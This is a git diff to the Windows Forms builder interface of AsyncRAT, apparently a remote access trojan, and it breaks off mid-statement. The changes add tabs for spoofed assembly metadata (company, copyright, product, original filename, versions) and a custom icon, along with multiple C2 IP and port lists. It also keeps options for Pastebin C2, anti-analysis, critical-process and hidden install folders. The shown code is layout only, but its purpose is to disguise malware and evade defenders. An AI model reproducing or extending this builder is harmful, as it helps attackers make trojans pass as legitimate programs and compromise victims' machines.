diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/App.config b/AsyncRAT-C#/AsyncRAT-Sharp/App.config index 1c149b7..d669d81 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/App.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/App.config @@ -28,6 +28,30 @@ + + + + + + + + + + + + + + + + + + + + 0.0.0.0 + + + 0.0.0.0 + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index 770030f..c944b7c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -67,6 +67,9 @@ + + ..\packages\Vestris.ResourceLib.1.6.422\lib\Vestris.ResourceLib.dll + @@ -170,6 +173,7 @@ + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs index dec6aff..543e30d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs @@ -30,22 +30,27 @@ namespace AsyncRAT_Sharp.Forms { this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormBuilder)); - this.button1 = new System.Windows.Forms.Button(); this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.btnRemoveIP = new System.Windows.Forms.Button(); + this.btnAddIP = new System.Windows.Forms.Button(); + this.listBoxIP = new System.Windows.Forms.ListBox(); + this.textIP = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.btnRemovePort = new System.Windows.Forms.Button(); + this.btnAddPort = new System.Windows.Forms.Button(); + this.listBoxPort = new System.Windows.Forms.ListBox(); this.chkPastebin = new System.Windows.Forms.CheckBox(); - this.txtPastebin = new System.Windows.Forms.TextBox(); this.label6 = new System.Windows.Forms.Label(); + this.textPort = new System.Windows.Forms.TextBox(); this.label2 = new System.Windows.Forms.Label(); this.groupBox2 = new System.Windows.Forms.GroupBox(); this.comboBoxFolder = new System.Windows.Forms.ComboBox(); this.checkBox1 = new System.Windows.Forms.CheckBox(); - this.textFilename = new System.Windows.Forms.TextBox(); this.label3 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.groupBox3 = new System.Windows.Forms.GroupBox(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.chkBdos = new System.Windows.Forms.CheckBox(); - this.txtMutex = new System.Windows.Forms.TextBox(); this.label5 = new System.Windows.Forms.Label(); this.chkAnti = new System.Windows.Forms.CheckBox(); this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); @@ -53,15 +58,37 @@ namespace AsyncRAT_Sharp.Forms this.tabPage1 = new System.Windows.Forms.TabPage(); this.tabPage2 = new System.Windows.Forms.TabPage(); this.tabPage3 = new System.Windows.Forms.TabPage(); - this.textPort = new System.Windows.Forms.TextBox(); - this.listBoxPort = new System.Windows.Forms.ListBox(); - this.btnAddPort = new System.Windows.Forms.Button(); - this.btnRemovePort = new System.Windows.Forms.Button(); - this.btnRemoveIP = new System.Windows.Forms.Button(); - this.btnAddIP = new System.Windows.Forms.Button(); - this.listBoxIP = new System.Windows.Forms.ListBox(); - this.textIP = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.groupBox4 = new System.Windows.Forms.GroupBox(); + this.btnAssembly = new System.Windows.Forms.CheckBox(); + this.label14 = new System.Windows.Forms.Label(); + this.label13 = new System.Windows.Forms.Label(); + this.label12 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.groupBox5 = new System.Windows.Forms.GroupBox(); + this.chkIcon = new System.Windows.Forms.CheckBox(); + this.label15 = new System.Windows.Forms.Label(); + this.txtIcon = new System.Windows.Forms.TextBox(); + this.btnIcon = new System.Windows.Forms.Button(); + this.picIcon = new System.Windows.Forms.PictureBox(); + this.tabPage6 = new System.Windows.Forms.TabPage(); + this.btnBuild = new System.Windows.Forms.Button(); + this.txtPastebin = new System.Windows.Forms.TextBox(); + this.textFilename = new System.Windows.Forms.TextBox(); + this.txtMutex = new System.Windows.Forms.TextBox(); + this.txtFileVersion = new System.Windows.Forms.TextBox(); + this.txtProductVersion = new System.Windows.Forms.TextBox(); + this.txtOriginalFilename = new System.Windows.Forms.TextBox(); + this.txtTrademarks = new System.Windows.Forms.TextBox(); + this.txtCopyright = new System.Windows.Forms.TextBox(); + this.txtCompany = new System.Windows.Forms.TextBox(); + this.txtDescription = new System.Windows.Forms.TextBox(); + this.txtProduct = new System.Windows.Forms.TextBox(); this.groupBox1.SuspendLayout(); this.groupBox2.SuspendLayout(); this.groupBox3.SuspendLayout(); @@ -70,18 +97,14 @@ namespace AsyncRAT_Sharp.Forms this.tabPage1.SuspendLayout(); this.tabPage2.SuspendLayout(); this.tabPage3.SuspendLayout(); + this.tabPage4.SuspendLayout(); + this.groupBox4.SuspendLayout(); + this.tabPage5.SuspendLayout(); + this.groupBox5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picIcon)).BeginInit(); + this.tabPage6.SuspendLayout(); this.SuspendLayout(); // - // button1 - // - this.button1.Location = new System.Drawing.Point(3, 313); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(539, 49); - this.button1.TabIndex = 0; - this.button1.Text = "Build"; - this.button1.UseVisualStyleBackColor = true; - this.button1.Click += new System.EventHandler(this.button1_Click); - // // groupBox1 // this.groupBox1.Controls.Add(this.btnRemoveIP); @@ -99,263 +122,11 @@ namespace AsyncRAT_Sharp.Forms this.groupBox1.Controls.Add(this.label2); this.groupBox1.Location = new System.Drawing.Point(6, 19); this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(539, 363); + this.groupBox1.Size = new System.Drawing.Size(563, 417); this.groupBox1.TabIndex = 1; this.groupBox1.TabStop = false; this.groupBox1.Text = "Connection"; // - // chkPastebin - // - this.chkPastebin.AutoSize = true; - this.chkPastebin.Location = new System.Drawing.Point(264, 261); - this.chkPastebin.Name = "chkPastebin"; - this.chkPastebin.Size = new System.Drawing.Size(130, 24); - this.chkPastebin.TabIndex = 9; - this.chkPastebin.Text = "Use Pastebin"; - this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606"); - this.chkPastebin.UseVisualStyleBackColor = true; - this.chkPastebin.CheckedChanged += new System.EventHandler(this.CheckBox2_CheckedChanged); - // - // txtPastebin - // - this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); - this.txtPastebin.Enabled = false; - this.txtPastebin.Location = new System.Drawing.Point(106, 296); - this.txtPastebin.Name = "txtPastebin"; - this.txtPastebin.Size = new System.Drawing.Size(271, 26); - this.txtPastebin.TabIndex = 8; - this.txtPastebin.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Pastebin; - this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606"); - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(14, 299); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(71, 20); - this.label6.TabIndex = 7; - this.label6.Text = "Pastebin"; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(308, 37); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(38, 20); - this.label2.TabIndex = 3; - this.label2.Text = "Port"; - // - // groupBox2 - // - this.groupBox2.Controls.Add(this.comboBoxFolder); - this.groupBox2.Controls.Add(this.checkBox1); - this.groupBox2.Controls.Add(this.textFilename); - this.groupBox2.Controls.Add(this.label3); - this.groupBox2.Controls.Add(this.label4); - this.groupBox2.Location = new System.Drawing.Point(6, 17); - this.groupBox2.Name = "groupBox2"; - this.groupBox2.Size = new System.Drawing.Size(536, 365); - this.groupBox2.TabIndex = 7; - this.groupBox2.TabStop = false; - this.groupBox2.Text = "Install"; - // - // comboBoxFolder - // - this.comboBoxFolder.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; - this.comboBoxFolder.Enabled = false; - this.comboBoxFolder.FormattingEnabled = true; - this.comboBoxFolder.Items.AddRange(new object[] { - "%AppData%", - "%Temp%"}); - this.comboBoxFolder.Location = new System.Drawing.Point(106, 149); - this.comboBoxFolder.Name = "comboBoxFolder"; - this.comboBoxFolder.Size = new System.Drawing.Size(271, 28); - this.comboBoxFolder.TabIndex = 8; - // - // checkBox1 - // - this.checkBox1.AutoSize = true; - this.checkBox1.Location = new System.Drawing.Point(18, 40); - this.checkBox1.Name = "checkBox1"; - this.checkBox1.Size = new System.Drawing.Size(67, 24); - this.checkBox1.TabIndex = 7; - this.checkBox1.Text = "OFF"; - this.checkBox1.UseVisualStyleBackColor = true; - this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); - // - // textFilename - // - this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); - this.textFilename.Enabled = false; - this.textFilename.Location = new System.Drawing.Point(106, 92); - this.textFilename.Name = "textFilename"; - this.textFilename.Size = new System.Drawing.Size(271, 26); - this.textFilename.TabIndex = 5; - this.textFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Filename; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(14, 152); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(54, 20); - this.label3.TabIndex = 3; - this.label3.Text = "Folder"; - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(14, 95); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(74, 20); - this.label4.TabIndex = 4; - this.label4.Text = "Filename"; - // - // groupBox3 - // - this.groupBox3.Controls.Add(this.pictureBox1); - this.groupBox3.Controls.Add(this.chkBdos); - this.groupBox3.Controls.Add(this.txtMutex); - this.groupBox3.Controls.Add(this.label5); - this.groupBox3.Controls.Add(this.chkAnti); - this.groupBox3.Location = new System.Drawing.Point(6, 17); - this.groupBox3.Name = "groupBox3"; - this.groupBox3.Size = new System.Drawing.Size(536, 279); - this.groupBox3.TabIndex = 9; - this.groupBox3.TabStop = false; - this.groupBox3.Text = "MISC"; - // - // pictureBox1 - // - this.pictureBox1.Image = global::AsyncRAT_Sharp.Properties.Resources.uac; - this.pictureBox1.Location = new System.Drawing.Point(181, 74); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(32, 32); - this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; - this.pictureBox1.TabIndex = 13; - this.pictureBox1.TabStop = false; - // - // chkBdos - // - this.chkBdos.AutoSize = true; - this.chkBdos.Location = new System.Drawing.Point(21, 82); - this.chkBdos.Name = "chkBdos"; - this.chkBdos.Size = new System.Drawing.Size(143, 24); - this.chkBdos.TabIndex = 12; - this.chkBdos.Text = "Process Critical"; - this.chkBdos.UseVisualStyleBackColor = true; - // - // txtMutex - // - this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); - this.txtMutex.Location = new System.Drawing.Point(106, 165); - this.txtMutex.Name = "txtMutex"; - this.txtMutex.Size = new System.Drawing.Size(271, 26); - this.txtMutex.TabIndex = 11; - this.txtMutex.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Mutex; - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(14, 169); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(52, 20); - this.label5.TabIndex = 10; - this.label5.Text = "Mutex"; - // - // chkAnti - // - this.chkAnti.AutoSize = true; - this.chkAnti.Location = new System.Drawing.Point(21, 40); - this.chkAnti.Name = "chkAnti"; - this.chkAnti.Size = new System.Drawing.Size(125, 24); - this.chkAnti.TabIndex = 9; - this.chkAnti.Text = "Anti Analysis"; - this.chkAnti.UseVisualStyleBackColor = true; - // - // tabControl1 - // - this.tabControl1.Controls.Add(this.tabPage1); - this.tabControl1.Controls.Add(this.tabPage2); - this.tabControl1.Controls.Add(this.tabPage3); - this.tabControl1.Location = new System.Drawing.Point(12, 12); - this.tabControl1.Name = "tabControl1"; - this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(556, 421); - this.tabControl1.TabIndex = 10; - // - // tabPage1 - // - this.tabPage1.Controls.Add(this.groupBox1); - this.tabPage1.Location = new System.Drawing.Point(4, 29); - this.tabPage1.Name = "tabPage1"; - this.tabPage1.Padding = new System.Windows.Forms.Padding(3); - this.tabPage1.Size = new System.Drawing.Size(548, 388); - this.tabPage1.TabIndex = 0; - this.tabPage1.Text = "Connection"; - this.tabPage1.UseVisualStyleBackColor = true; - // - // tabPage2 - // - this.tabPage2.Controls.Add(this.groupBox2); - this.tabPage2.Location = new System.Drawing.Point(4, 29); - this.tabPage2.Name = "tabPage2"; - this.tabPage2.Padding = new System.Windows.Forms.Padding(3); - this.tabPage2.Size = new System.Drawing.Size(548, 388); - this.tabPage2.TabIndex = 1; - this.tabPage2.Text = "Install"; - this.tabPage2.UseVisualStyleBackColor = true; - // - // tabPage3 - // - this.tabPage3.Controls.Add(this.groupBox3); - this.tabPage3.Controls.Add(this.button1); - this.tabPage3.Location = new System.Drawing.Point(4, 29); - this.tabPage3.Name = "tabPage3"; - this.tabPage3.Padding = new System.Windows.Forms.Padding(3); - this.tabPage3.Size = new System.Drawing.Size(548, 388); - this.tabPage3.TabIndex = 2; - this.tabPage3.Text = "Misc"; - this.tabPage3.UseVisualStyleBackColor = true; - // - // textPort - // - this.textPort.Location = new System.Drawing.Point(362, 34); - this.textPort.Name = "textPort"; - this.textPort.Size = new System.Drawing.Size(161, 26); - this.textPort.TabIndex = 6; - // - // listBoxPort - // - this.listBoxPort.FormattingEnabled = true; - this.listBoxPort.ItemHeight = 20; - this.listBoxPort.Location = new System.Drawing.Point(362, 66); - this.listBoxPort.Name = "listBoxPort"; - this.listBoxPort.Size = new System.Drawing.Size(161, 84); - this.listBoxPort.TabIndex = 10; - // - // btnAddPort - // - this.btnAddPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.btnAddPort.Location = new System.Drawing.Point(362, 156); - this.btnAddPort.Name = "btnAddPort"; - this.btnAddPort.Size = new System.Drawing.Size(43, 26); - this.btnAddPort.TabIndex = 12; - this.btnAddPort.Text = "+"; - this.btnAddPort.UseVisualStyleBackColor = true; - this.btnAddPort.Click += new System.EventHandler(this.BtnAddPort_Click); - // - // btnRemovePort - // - this.btnRemovePort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.btnRemovePort.Location = new System.Drawing.Point(480, 156); - this.btnRemovePort.Name = "btnRemovePort"; - this.btnRemovePort.Size = new System.Drawing.Size(43, 26); - this.btnRemovePort.TabIndex = 13; - this.btnRemovePort.Text = "-"; - this.btnRemovePort.UseVisualStyleBackColor = true; - this.btnRemovePort.Click += new System.EventHandler(this.BtnRemovePort_Click); - // // btnRemoveIP // this.btnRemoveIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); @@ -403,11 +174,565 @@ namespace AsyncRAT_Sharp.Forms this.label1.TabIndex = 14; this.label1.Text = "DNS"; // + // btnRemovePort + // + this.btnRemovePort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.btnRemovePort.Location = new System.Drawing.Point(480, 156); + this.btnRemovePort.Name = "btnRemovePort"; + this.btnRemovePort.Size = new System.Drawing.Size(43, 26); + this.btnRemovePort.TabIndex = 13; + this.btnRemovePort.Text = "-"; + this.btnRemovePort.UseVisualStyleBackColor = true; + this.btnRemovePort.Click += new System.EventHandler(this.BtnRemovePort_Click); + // + // btnAddPort + // + this.btnAddPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.btnAddPort.Location = new System.Drawing.Point(362, 156); + this.btnAddPort.Name = "btnAddPort"; + this.btnAddPort.Size = new System.Drawing.Size(43, 26); + this.btnAddPort.TabIndex = 12; + this.btnAddPort.Text = "+"; + this.btnAddPort.UseVisualStyleBackColor = true; + this.btnAddPort.Click += new System.EventHandler(this.BtnAddPort_Click); + // + // listBoxPort + // + this.listBoxPort.FormattingEnabled = true; + this.listBoxPort.ItemHeight = 20; + this.listBoxPort.Location = new System.Drawing.Point(362, 66); + this.listBoxPort.Name = "listBoxPort"; + this.listBoxPort.Size = new System.Drawing.Size(161, 84); + this.listBoxPort.TabIndex = 10; + // + // chkPastebin + // + this.chkPastebin.AutoSize = true; + this.chkPastebin.Location = new System.Drawing.Point(22, 307); + this.chkPastebin.Name = "chkPastebin"; + this.chkPastebin.Size = new System.Drawing.Size(130, 24); + this.chkPastebin.TabIndex = 9; + this.chkPastebin.Text = "Use Pastebin"; + this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606"); + this.chkPastebin.UseVisualStyleBackColor = true; + this.chkPastebin.CheckedChanged += new System.EventHandler(this.CheckBox2_CheckedChanged); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(14, 355); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(71, 20); + this.label6.TabIndex = 7; + this.label6.Text = "Pastebin"; + // + // textPort + // + this.textPort.Location = new System.Drawing.Point(362, 34); + this.textPort.Name = "textPort"; + this.textPort.Size = new System.Drawing.Size(161, 26); + this.textPort.TabIndex = 6; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(308, 37); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(38, 20); + this.label2.TabIndex = 3; + this.label2.Text = "Port"; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.comboBoxFolder); + this.groupBox2.Controls.Add(this.checkBox1); + this.groupBox2.Controls.Add(this.textFilename); + this.groupBox2.Controls.Add(this.label3); + this.groupBox2.Controls.Add(this.label4); + this.groupBox2.Location = new System.Drawing.Point(6, 17); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(563, 417); + this.groupBox2.TabIndex = 7; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "Install"; + // + // comboBoxFolder + // + this.comboBoxFolder.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBoxFolder.Enabled = false; + this.comboBoxFolder.FormattingEnabled = true; + this.comboBoxFolder.Items.AddRange(new object[] { + "%AppData%", + "%Temp%"}); + this.comboBoxFolder.Location = new System.Drawing.Point(103, 149); + this.comboBoxFolder.Name = "comboBoxFolder"; + this.comboBoxFolder.Size = new System.Drawing.Size(271, 28); + this.comboBoxFolder.TabIndex = 8; + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.Location = new System.Drawing.Point(15, 29); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(67, 24); + this.checkBox1.TabIndex = 7; + this.checkBox1.Text = "OFF"; + this.checkBox1.UseVisualStyleBackColor = true; + this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(11, 152); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(54, 20); + this.label3.TabIndex = 3; + this.label3.Text = "Folder"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(11, 95); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(74, 20); + this.label4.TabIndex = 4; + this.label4.Text = "Filename"; + // + // groupBox3 + // + this.groupBox3.Controls.Add(this.pictureBox1); + this.groupBox3.Controls.Add(this.chkBdos); + this.groupBox3.Controls.Add(this.txtMutex); + this.groupBox3.Controls.Add(this.label5); + this.groupBox3.Controls.Add(this.chkAnti); + this.groupBox3.Location = new System.Drawing.Point(6, 17); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Size = new System.Drawing.Size(563, 417); + this.groupBox3.TabIndex = 9; + this.groupBox3.TabStop = false; + this.groupBox3.Text = "MISC"; + // + // pictureBox1 + // + this.pictureBox1.Image = global::AsyncRAT_Sharp.Properties.Resources.uac; + this.pictureBox1.Location = new System.Drawing.Point(175, 72); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(32, 32); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.pictureBox1.TabIndex = 13; + this.pictureBox1.TabStop = false; + // + // chkBdos + // + this.chkBdos.AutoSize = true; + this.chkBdos.Location = new System.Drawing.Point(15, 80); + this.chkBdos.Name = "chkBdos"; + this.chkBdos.Size = new System.Drawing.Size(143, 24); + this.chkBdos.TabIndex = 12; + this.chkBdos.Text = "Process Critical"; + this.chkBdos.UseVisualStyleBackColor = true; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(14, 169); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(52, 20); + this.label5.TabIndex = 10; + this.label5.Text = "Mutex"; + // + // chkAnti + // + this.chkAnti.AutoSize = true; + this.chkAnti.Location = new System.Drawing.Point(15, 29); + this.chkAnti.Name = "chkAnti"; + this.chkAnti.Size = new System.Drawing.Size(125, 24); + this.chkAnti.TabIndex = 9; + this.chkAnti.Text = "Anti Analysis"; + this.chkAnti.UseVisualStyleBackColor = true; + // + // tabControl1 + // + this.tabControl1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage3); + this.tabControl1.Controls.Add(this.tabPage4); + this.tabControl1.Controls.Add(this.tabPage5); + this.tabControl1.Controls.Add(this.tabPage6); + this.tabControl1.Location = new System.Drawing.Point(12, 12); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(583, 473); + this.tabControl1.TabIndex = 10; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.groupBox1); + this.tabPage1.Location = new System.Drawing.Point(4, 29); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(575, 440); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "Connection"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.groupBox2); + this.tabPage2.Location = new System.Drawing.Point(4, 29); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(575, 440); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = "Install"; + this.tabPage2.UseVisualStyleBackColor = true; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.groupBox3); + this.tabPage3.Location = new System.Drawing.Point(4, 29); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Padding = new System.Windows.Forms.Padding(3); + this.tabPage3.Size = new System.Drawing.Size(575, 440); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = "Misc"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.groupBox4); + this.tabPage4.Location = new System.Drawing.Point(4, 29); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Padding = new System.Windows.Forms.Padding(3); + this.tabPage4.Size = new System.Drawing.Size(575, 440); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = "Assembly"; + this.tabPage4.UseVisualStyleBackColor = true; + // + // groupBox4 + // + this.groupBox4.Controls.Add(this.btnAssembly); + this.groupBox4.Controls.Add(this.txtFileVersion); + this.groupBox4.Controls.Add(this.txtProductVersion); + this.groupBox4.Controls.Add(this.txtOriginalFilename); + this.groupBox4.Controls.Add(this.txtTrademarks); + this.groupBox4.Controls.Add(this.txtCopyright); + this.groupBox4.Controls.Add(this.txtCompany); + this.groupBox4.Controls.Add(this.label14); + this.groupBox4.Controls.Add(this.label13); + this.groupBox4.Controls.Add(this.label12); + this.groupBox4.Controls.Add(this.label11); + this.groupBox4.Controls.Add(this.label10); + this.groupBox4.Controls.Add(this.label9); + this.groupBox4.Controls.Add(this.txtDescription); + this.groupBox4.Controls.Add(this.label7); + this.groupBox4.Controls.Add(this.txtProduct); + this.groupBox4.Controls.Add(this.label8); + this.groupBox4.Location = new System.Drawing.Point(6, 17); + this.groupBox4.Name = "groupBox4"; + this.groupBox4.Size = new System.Drawing.Size(563, 417); + this.groupBox4.TabIndex = 8; + this.groupBox4.TabStop = false; + this.groupBox4.Text = "Assembly Information"; + // + // btnAssembly + // + this.btnAssembly.AutoSize = true; + this.btnAssembly.Location = new System.Drawing.Point(15, 29); + this.btnAssembly.Name = "btnAssembly"; + this.btnAssembly.Size = new System.Drawing.Size(85, 24); + this.btnAssembly.TabIndex = 20; + this.btnAssembly.Text = "Enable"; + this.btnAssembly.UseVisualStyleBackColor = true; + this.btnAssembly.CheckedChanged += new System.EventHandler(this.BtnAssembly_CheckedChanged); + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(8, 331); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(126, 20); + this.label14.TabIndex = 13; + this.label14.Text = "Product Version:"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(8, 371); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(96, 20); + this.label13.TabIndex = 12; + this.label13.Text = "File Version:"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(8, 283); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(135, 20); + this.label12.TabIndex = 11; + this.label12.Text = "Original Filename:"; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(8, 240); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(97, 20); + this.label11.TabIndex = 10; + this.label11.Text = "Trademarks:"; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(8, 200); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(80, 20); + this.label10.TabIndex = 9; + this.label10.Text = "Copyright:"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(8, 158); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(80, 20); + this.label9.TabIndex = 8; + this.label9.Text = "Company:"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(8, 115); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(93, 20); + this.label7.TabIndex = 6; + this.label7.Text = "Description:"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(8, 72); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(68, 20); + this.label8.TabIndex = 4; + this.label8.Text = "Product:"; + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.groupBox5); + this.tabPage5.Location = new System.Drawing.Point(4, 29); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Padding = new System.Windows.Forms.Padding(3); + this.tabPage5.Size = new System.Drawing.Size(575, 440); + this.tabPage5.TabIndex = 4; + this.tabPage5.Text = "Icon"; + this.tabPage5.UseVisualStyleBackColor = true; + // + // groupBox5 + // + this.groupBox5.Controls.Add(this.chkIcon); + this.groupBox5.Controls.Add(this.label15); + this.groupBox5.Controls.Add(this.txtIcon); + this.groupBox5.Controls.Add(this.btnIcon); + this.groupBox5.Controls.Add(this.picIcon); + this.groupBox5.Location = new System.Drawing.Point(6, 17); + this.groupBox5.Name = "groupBox5"; + this.groupBox5.Size = new System.Drawing.Size(563, 417); + this.groupBox5.TabIndex = 0; + this.groupBox5.TabStop = false; + this.groupBox5.Text = "Add Icon"; + // + // chkIcon + // + this.chkIcon.AutoSize = true; + this.chkIcon.Location = new System.Drawing.Point(15, 29); + this.chkIcon.Name = "chkIcon"; + this.chkIcon.Size = new System.Drawing.Size(85, 24); + this.chkIcon.TabIndex = 8; + this.chkIcon.Text = "Enable"; + this.chkIcon.UseVisualStyleBackColor = true; + this.chkIcon.CheckedChanged += new 